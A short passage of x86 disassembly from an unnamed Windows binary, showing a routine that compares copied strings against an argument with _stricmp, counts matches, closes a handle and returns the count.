push eax
mov edx, dword [ebp - 0x1118]
lea eax, [ebp + edx - 0x1320]
push eax
lea ecx, [ebp - 0x121c]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x121c]
push eax
call dword [sym.imp.ntdll.dll__stricmp]
add esp, 8
test eax, eax
jne 0x43e71c
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043ddf0
test eax, eax
je 0x43e71c
mov edx, dword [ebp - 0x1010]
add edx, 1
mov dword [ebp - 0x1010], edx
jmp 0x43e5e4
cmp dword [ebp - 8], 0
je 0x43e731
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1010]
pop edi
mov esp, ebp
pop ebp
ret